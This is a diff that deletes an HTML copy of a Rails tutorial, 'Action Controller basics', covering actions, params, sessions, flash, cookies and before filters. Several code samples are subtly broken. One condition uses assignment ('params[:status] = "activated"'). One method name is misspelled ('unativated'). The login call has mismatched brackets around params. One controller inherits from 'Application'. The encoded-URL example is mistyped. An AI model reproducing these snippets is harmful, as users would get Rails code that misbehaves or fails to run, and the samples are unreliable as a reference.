- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Action Controller basics</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Follow the flow of a request through a controller
-</p>
-</li>
-<li>
-<p>
-Understand why and how to store data in the session or cookies
-</p>
-</li>
-<li>
-<p>
-Work with filters to execute code during request processing
-</p>
-</li>
-<li>
-<p>
-Use Action Controller&#8217;s built-in HTTP authentication
-</p>
-</li>
-<li>
-<p>
-Stream data directly to the user&#8217;s browser
-</p>
-</li>
-<li>
-<p>
-Filter sensitive parameters so they do not appear in the application&#8217;s log
-</p>
-</li>
-<li>
-<p>
-Deal with exceptions that may be raised during request processing
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_what_does_a_controller_do">1. What Does a Controller do?</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.</p></div>
-<div class="paragraph"><p>For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that&#8217;s not a problem, this is just the most common way for a controller to work.</p></div>
-<div class="paragraph"><p>A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">For more details on the routing process, see <a href="../routing_outside_in.html">Rails Routing from the Outside In</a>.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_methods_and_actions">2. Methods and Actions</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-style: italic"><span style="color: #9A1900"># Actions are public methods</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># Action methods are responsible for producing output</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># Helper methods are private and can not be used as actions</span></span>
-private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> foo
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>There&#8217;s no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.</p></div>
-<div class="paragraph"><p>As an example, if a user goes to <tt>/clients/new</tt> in your application to add a new client, Rails will create an instance of ClientsController and run the <tt>new</tt> method. Note that the empty method from the example above could work just fine because Rails will by default render the <tt>new.html.erb</tt> view unless the action says otherwise. The <tt>new</tt> method could make available to the view a <tt>@client</tt> instance variable by creating a new Client:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
- <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <a href="../layouts_and_rendering.html">Layouts &amp; rendering guide</a> explains this in more detail.</p></div>
-<div class="paragraph"><p>ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you&#8217;re curious to see what&#8217;s in there, you can see all of them in the API documentation or in the source itself.</p></div>
-</div>
-<h2 id="_parameters">3. Parameters</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It&#8217;s called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the <tt>params</tt> hash in your controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
- <span style="font-style: italic"><span style="color: #9A1900"># This action uses query string parameters because it gets run by a HTTP</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># GET request, but this does not make any difference to the way in which</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># the parameters are accessed. The URL for this action would look like this</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># in order to list activated clients: /clients?status=activated</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> params<span style="color: #990000">[:</span>status<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"activated"</span>
- <span style="color: #009900">@clients</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>activated
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- <span style="color: #009900">@clients</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>unativated
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># This action uses POST parameters. They are most likely coming from an HTML</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># form which the user has submitted. The URL for this RESTful request will</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># be "/clients", and the data will be sent as part of the request body.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>client<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@client</span><span style="color: #990000">.</span>save
- redirect_to <span style="color: #009900">@client</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># This line overrides the default rendering behavior, which would have been</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># to render the "create" view.</span></span>
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_hash_and_array_parameters">3.1. Hash and Array Parameters</h3>
-<div class="paragraph"><p>The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>GET /clients?ids[]=1&amp;ids[]=2&amp;ids[]=3</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&amp;ids%5b%5d=2&amp;ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don&#8217;t have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>The value of <tt>params[:ids]</tt> will now be <tt>["1", "2", "3"]</tt>. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.</p></div>
-<div class="paragraph"><p>To send a hash you include the key name inside the brackets:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;form action="/clients" method="post"&gt;
- &lt;input type="text" name="client[name]" value="Acme" /&gt;
- &lt;input type="text" name="client[phone]" value="12345" /&gt;
- &lt;input type="text" name="client[address][postcode]" value="12345" /&gt;
- &lt;input type="text" name="client[address][city]" value="Carrot City" /&gt;
-&lt;/form&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>The value of <tt>params[:client]</tt> when this form is submitted will be <tt>{"name" =&gt; "Acme", "phone" =&gt; "12345", "address" =&gt; {"postcode" =&gt; "12345", "city" =&gt; "Carrot City"}}</tt>. Note the nested hash in <tt>params[:client][:address]</tt>.</p></div>
-<div class="paragraph"><p>Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.</p></div>
-<h3 id="_routing_parameters">3.2. Routing Parameters</h3>
-<div class="paragraph"><p>The <tt>params</tt> hash will always contain the <tt>:controller</tt> and <tt>:action</tt> keys, but you should use the methods <tt>controller_name</tt> and <tt>action_name</tt> instead to access these values. Any other parameters defined by the routing, such as <tt>:id</tt> will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the <tt>:status</tt> parameter in a "pretty" URL:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">"/clients/:status"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"clients"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foo <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"bar"</span>
-<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In this case, when a user opens the URL <tt>/clients/active</tt>, <tt>params[:status]</tt> will be set to "active". When this route is used, <tt>params[:foo]</tt> will also be set to "bar" just like it was passed in the query string in the same way <tt>params[:action]</tt> will contain "index".</p></div>
-<h3 id="_tt_default_url_options_tt">3.3. <tt>default_url_options</tt></h3>
-<div class="paragraph"><p>You can set global default parameters that will be used when generating URLs with <tt>default_url_options</tt>. To do this, define a method with that name in your controller:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>class ApplicationController &lt; ActionController::Base
-
- #The options parameter is the hash passed in to +url_for+
- def default_url_options(options)
- {:locale =&gt; I18n.locale}
- end
-
-end</tt></pre>
-</div></div>
-<div class="paragraph"><p>These options will be used as a starting-point when generating, so it&#8217;s possible they&#8217;ll be overridden by <tt>url_for</tt>. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.</p></div>
-</div>
-<h2 id="_session">4. Session</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-CookieStore - Stores everything on the client.
-</p>
-</li>
-<li>
-<p>
-DRbStore - Stores the data on a DRb server.
-</p>
-</li>
-<li>
-<p>
-MemCacheStore - Stores the data in a memcache.
-</p>
-</li>
-<li>
-<p>
-ActiveRecordStore - Stores the data in a database using Active Record.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can&#8217;t use the query string to pass a session ID) because of security concerns (it&#8217;s easier to hijack a session when the ID is part of the URL).</p></div>
-<div class="paragraph"><p>Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.</p></div>
-<div class="paragraph"><p>Read more about session storage in the <a href="../security.html">Security Guide</a>.</p></div>
-<div class="paragraph"><p>If you need a different session storage mechanism, you can change it in the <tt>config/environment.rb</tt> file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]</span></span>
-config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>session_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>active_record_store</tt></pre></div></div>
-<h3 id="_accessing_the_session">4.1. Accessing the Session</h3>
-<div class="paragraph"><p>In your controller you can access the session through the <tt>session</tt> instance method.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Sessions are lazily loaded. If you don&#8217;t access sessions in your action&#8217;s code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Session values are stored using key/value pairs like a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-private
-
- <span style="font-style: italic"><span style="color: #9A1900"># Finds the User with the ID stored in the session with the key :current_user_id</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># This is a common way to handle user login in a Rails application; logging in sets the</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># session value and logging out removes it.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> current_user
- <span style="color: #009900">@_current_user</span> <span style="color: #990000">||=</span> session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">&amp;&amp;</span> User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To store something in the session, just assign it to the key like a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-style: italic"><span style="color: #9A1900"># "Create" a login, aka "log the user in"</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> user <span style="color: #990000">=</span> User<span style="color: #990000">.</span>authenticate<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>username<span style="color: #990000">,</span> params<span style="color: #990000">[:</span>password<span style="color: #990000">])</span>
- <span style="font-style: italic"><span style="color: #9A1900"># Save the user ID in the session so it can be used in subsequent requests</span></span>
- session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> user<span style="color: #990000">.</span>id
- redirect_to root_url
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To remove something from the session, assign that key to be <tt>nil</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-style: italic"><span style="color: #9A1900"># "Delete" a login, aka "log the user out"</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
- <span style="font-style: italic"><span style="color: #9A1900"># Remove the user id from the session</span></span>
- session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
- redirect_to root_url
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To reset the entire session, use <tt>reset_session</tt>.</p></div>
-<h3 id="_the_flash">4.2. The flash</h3>
-<div class="paragraph"><p>The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let&#8217;s use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
- session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
- flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You have successfully logged out"</span>
- redirect_to root_url
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>destroy</tt> action redirects to the application&#8217;s <tt>root_url</tt>, where the message will be displayed. Note that it&#8217;s entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It&#8217;s conventional to display eventual errors or notices from the flash in the application&#8217;s layout:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;html&gt;
- &lt;!-- &lt;head/&gt; --&gt;
- &lt;body&gt;
- &lt;% if flash[:notice] -%&gt;
- &lt;p class="notice"&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;
- &lt;% end -%&gt;
- &lt;% if flash[:error] -%&gt;
- &lt;p class="error"&gt;&lt;%= flash[:error] %&gt;&lt;/p&gt;
- &lt;% end -%&gt;
- &lt;!-- more content --&gt;
- &lt;/body&gt;
-&lt;/html&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>This way, if an action sets an error or a notice message, the layout will display it automatically.</p></div>
-<div class="paragraph"><p>If you want a flash value to be carried over to another request, use the <tt>keep</tt> method:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MainController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-style: italic"><span style="color: #9A1900"># Let's say this action corresponds to root_url, but you want all requests here to be redirected to</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># UsersController#index. If an action sets the flash and redirects here, the values would normally be</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># lost when another redirect happens, but you can use keep to make it persist for another request.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- flash<span style="color: #990000">.</span>keep <span style="font-style: italic"><span style="color: #9A1900"># Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)</span></span>
- redirect_to users_url
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h4 id="_tt_flash_now_tt">4.2.1. <tt>flash.now</tt></h4>
-<div class="paragraph"><p>By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the <tt>create</tt> action fails to save a resource and you render the <tt>new</tt> template directly, that&#8217;s not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use <tt>flash.now</tt> in the same way you use the normal <tt>flash</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>client<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@client</span><span style="color: #990000">.</span>save
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- flash<span style="color: #990000">.</span>now<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Could not save client"</span>
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_cookies">5. Cookies</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the <tt>cookies</tt> method, which - much like the <tt>session</tt> - works like a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
- <span style="font-style: italic"><span style="color: #9A1900">#Auto-fill the commenter's name if it has been stored in a cookie</span></span>
- <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>new<span style="color: #990000">(:</span>name <span style="color: #990000">=&gt;</span> cookies<span style="color: #990000">[:</span>commenter_name<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>save
- flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Thanks for your comment!"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> params<span style="color: #990000">[:</span>remember_name<span style="color: #990000">]</span>
- <span style="font-style: italic"><span style="color: #9A1900"># Remember the commenter's name</span></span>
- cookies<span style="color: #990000">[:</span>commenter_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>name
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># Don't remember, and delete the name if it has been remembered before</span></span>
- cookies<span style="color: #990000">.</span>delete<span style="color: #990000">(:</span>commenter_name<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- redirect_to <span style="color: #009900">@comment</span><span style="color: #990000">.</span>article
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Note that while for session values you set the key to <tt>nil</tt>, to delete a cookie value you should use <tt>cookies.delete(:key)</tt>.</p></div>
-</div>
-<h2 id="_filters">6. Filters</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> require_login
- <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> logged_in?
- flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You must be logged in to access this section"</span>
- redirect_to new_login_url <span style="font-style: italic"><span style="color: #9A1900"># Prevents the current action from running</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># The logged_in? method simply returns true if the user is logged in and</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># false otherwise. It does this by "booleanizing" the current_user method</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># we created previously using a double ! operator. Note that this is not</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># common in Ruby and is discouraged unless you really mean to convert something</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># into true or false.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> logged_in?
- <span style="color: #990000">!!</span>current_user
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the <tt>before_filter</tt> method:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
- before_filter <span style="color: #990000">:</span>require_login
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn&#8217;t be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with <tt>skip_before_filter</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> Application
-
- skip_before_filter <span style="color: #990000">:</span>require_login<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>new<span style="color: #990000">,</span> <span style="color: #990000">:</span>create<span style="color: #990000">]</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now, the LoginsController&#8217;s <tt>new</tt> and <tt>create</tt> actions will work as before without requiring the user to be logged in. The <tt>:only</tt> option is used to only skip this filter for these actions, and there is also an <tt>:except</tt> option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.</p></div>
-<h3 id="_after_filters_and_around_filters">6.1. After Filters and Around Filters</h3>
